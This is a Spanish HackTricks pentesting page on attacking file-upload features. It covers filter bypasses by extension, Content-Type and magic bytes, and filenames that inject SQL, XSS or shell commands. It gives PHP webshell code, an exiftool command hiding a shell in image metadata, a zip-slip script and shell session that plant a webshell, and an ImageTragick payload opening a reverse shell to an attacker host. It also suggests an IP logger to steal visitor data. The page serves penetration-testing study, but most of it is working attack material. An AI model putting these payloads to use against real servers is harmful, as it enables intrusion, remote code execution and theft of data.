# Metodología general de carga de archivos

1. Intenta cargar un archivo con una **doble extensión** \(por ejemplo: _file.png.php_ o _file.png.php5_\).
   * Extensiones PHP: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
   * Extensiones ASP: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
2. Intenta **poner en mayúscula alguna letra** de la extensión. Por ejemplo: _.pHp, .pHP5, .PhAr ..._
3. Intenta cargar algunas **extensiones dobles \(o más\)** \(útil para evitar comprobaciones mal configuradas que comprueban si una extensión específica está presente\):
   1. _file.png.php_
   2. _file.png.txt.php_
4. Intenta cargar algunas **extensiones dobles inversas** \(útil para explotar las configuraciones incorrectas de Apache donde cualquier cosa con la extensión _.php_, pero **no necesariamente terminando en .php** ejecutará código\):
   * Ejemplo: file.php.png
5. Doble extensión con **carácter nulo**:
   1. Ejemplo: file.php%00.png
6. **Agrega algunos caracteres especiales al final** de la extensión_: %00, %20, \(varios puntos\)...._
   1. _file.php%00_
   2. _file.php%20_
   3. _file.php...... --> En Windows, cuando se crea un archivo con puntos al final, estos se eliminarán \(por lo que se pueden evitar los filtros que comprueban la extensión .php\)._
   4. _file.php/_
   5. _file.php.\_
7. Evita las comprobaciones de tipo de contenido estableciendo el **valor** del **encabezado Content-Type** en: _image/png_, _text/plain, application/octet-stream_
8. Evita la comprobación del número mágico agregando al principio del archivo los **bytes de una imagen real** \(confundir el comando _file_\). O introduce la shell dentro de los **metadatos**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
   1. También es posible que los **bytes mágicos** solo se estén **comprobando** en el archivo y se puedan establecer **en cualquier lugar del archivo**.
9. Usando el **flujo de datos alternativo de NTFS \(ADS\)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor \(por ejemplo, "file.asax:.jpg"\). Este archivo puede editarse más tarde utilizando otras técnicas como usar su nombre de archivo corto. El patrón "**::$data**" también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también puede ser útil para evitar restricciones adicionales \(por ejemplo, "file.asp::$data."\)
10. **Carga** la puerta trasera con una **extensión permitida** \(_png_\) y reza por una **configuración incorrecta** que ejecute la puerta trasera.
11. Encuentra una vulnerabilidad para **renombrar** el archivo ya cargado \(para cambiar la extensión\).
12. Encuentra una vulnerabilidad de **Inclusión de archivo local** para ejecutar la puerta trasera.
13. **Posible divulgación de información**:
    1. Carga **varias veces** \(y al **mismo tiempo**\) el **mismo archivo** con el **mismo nombre**
    2. Carga un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
    3. Cargar un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos cargados en el directorio "/www/uploads/", el nombre de archivo "." creará un archivo llamado "uploads" en el directorio "/www/".
    4. Carga un archivo que no se pueda eliminar fácilmente, como **“…:.jpg”** en **NTFS**. \(Windows\)
    5. Carga un archivo en **Windows** con **caracteres no válidos** como `|<>*?”` en su nombre. \(Windows\)
    6. Carga un archivo en **Windows** usando **nombres reservados** \(**prohibidos**\) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.

Intenta también **cargar un ejecutable** \(.exe\) o un **.html** \(menos sospechoso\) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}

Si estás intentando cargar archivos en un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).  
Si estás intentando cargar archivos en un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y se pueden **usar como un archivo PHP** \(ejecutándolo con PHP o incluyéndolo dentro de un script...\)

La extensión `.inc` se usa a veces para archivos PHP que solo se usan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **ejecutar esta extensión**.

**Comprueba muchas posibles vulnerabilidades de carga de archivos con el plugin BurpSuit** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **o usa una aplicación de consola que encuentre qué archivos se pueden cargar y pruebe diferentes trucos para ejecutar código:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)

## **Truco de carga de archivos / SSRF de wget**

En algunas ocasiones, puede encontrar que un servidor está usando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados está dentro de una lista blanca para asegurarse de que solo se descarguen archivos permitidos. Sin embargo, **esta comprobación se puede evitar.**  
La **longitud máxima** de un **nombre de archivo** en **Linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **evitará** la **comprobación** \(como en
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```

```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Tenga en cuenta que **otra opción** que puede estar considerando para evitar esta comprobación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evite la comprobación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.

# Desde la carga de archivos hasta otras vulnerabilidades

* Establezca el **nombre de archivo** en `../../../tmp/lol.png` e intente lograr una **travesía de directorios**
* Establezca el **nombre de archivo** en `sleep(10)-- -.jpg` y puede lograr una **inyección SQL**
* Establezca el **nombre de archivo** en `<svg onload=alert(document.comain)>` para lograr un XSS
* Establezca el **nombre de archivo** en `; sleep 10;` para probar algunas inyecciones de comandos \(más [trucos de inyección de comandos aquí](command-injection.md)\)
* [**XSS** en la carga de archivos de imagen \(svg\)](xss-cross-site-scripting/#xss-uploading-files-svg)
* **Carga** de archivo **JS** + **XSS** = [Explotación de **Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE en carga de archivos svg**](xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirección abierta** mediante la carga de archivos svg](open-redirect.md#open-redirect-uploading-svg-files)
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Si puede **indicar al servidor web que capture una imagen desde una URL**, podría intentar abusar de un [SSRF](ssrf-server-side-request-forgery.md). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL desde [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.

Aquí hay una lista de los 10 principales cosas que se pueden lograr mediante la carga de archivos \(de [enlace](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):

1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS almacenado / SSRF / XXE
3. **GIF**: XSS almacenado / SSRF
4. **CSV**: Inyección CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : Inyección HTML / XSS / Redirección abierta
8. **PNG / JPEG**: Ataque de inundación de píxeles \(DoS\)
9. **ZIP**: RCE a través de LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE

# Carga automática de archivos ZIP descomprimidos

Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas:

## Enlace simbólico

Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos, accederá a los archivos vinculados:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
## Descomprimir en diferentes carpetas

Los archivos descomprimidos se crearán en carpetas inesperadas.

Uno podría fácilmente asumir que esta configuración protege contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, pero desafortunadamente esto no es cierto. Ya que el formato de archivo ZIP admite compresión jerárquica y también podemos hacer referencia a directorios de nivel superior, podemos escapar del directorio de carga seguro abusando de la función de descompresión de la aplicación objetivo.

Se puede encontrar un exploit automatizado para crear este tipo de archivos aquí: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
```python
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Algunos códigos en Python para crear un archivo zip malicioso: 

```python
import zipfile

zip_file = zipfile.ZipFile('malicious.zip', mode='w')
zip_file.write('evil_file.exe')
zip_file.close()
```

Este código crea un archivo zip malicioso llamado `malicious.zip` que contiene un archivo ejecutable malicioso llamado `evil_file.exe`.
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO 
 
def create_zip():
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close() 
 
create_zip() 
```
Para lograr la ejecución remota de comandos, seguí los siguientes pasos:

1. Creé una shell PHP:
```php
<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>
```
2. Utilice la técnica de "file spraying" y cree un archivo zip comprimido:
```text
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. Usa un editor hexadecimal o vi y cambia "xxA" por "../", yo usé vi:
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
¡Solo queda un paso! ¡Sube el archivo ZIP y deja que la aplicación lo descomprima! Si tiene éxito y el servidor web tiene suficientes privilegios para escribir en los directorios, habrá una simple ejecución de comandos del sistema operativo en el sistema:

[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)

**Referencia**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

# ImageTragic

Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **\(ImageMagick, 7.0.1-1\)**.
```text
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
# Incrustando una Shell PHP en PGN

La razón principal para poner una shell web en el chunk IDAT es que tiene la capacidad de evitar operaciones de cambio de tamaño y re-muestreo - PHP-GD contiene dos funciones para hacer esto [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) y [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).

Lee este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

# Archivos Políglotos

Los políglotos, en un contexto de seguridad, son archivos que son una forma válida de múltiples tipos de archivos diferentes. Por ejemplo, un [GIFAR](https://en.wikipedia.org/wiki/Gifar) es tanto un archivo GIF como un archivo RAR. También hay archivos que pueden ser tanto GIF como JS, tanto PPT como JS, etc.

Los archivos políglotos se utilizan a menudo para evitar la protección basada en tipos de archivo. Muchas aplicaciones que permiten a los usuarios cargar archivos sólo permiten cargar ciertos tipos, como JPEG, GIF, DOC, para evitar que los usuarios carguen archivos potencialmente peligrosos como archivos JS, archivos PHP o archivos Phar.

Esto ayuda a cargar un archivo que cumple con el formato de varios formatos diferentes. Puede permitirte cargar un archivo PHAR (PHp ARchive) que también parece un JPEG, pero probablemente aún necesitarás una extensión válida y si la función de carga no lo permite, esto no te ayudará.

Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)





<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!

- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.

- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)

- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).

- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

</details>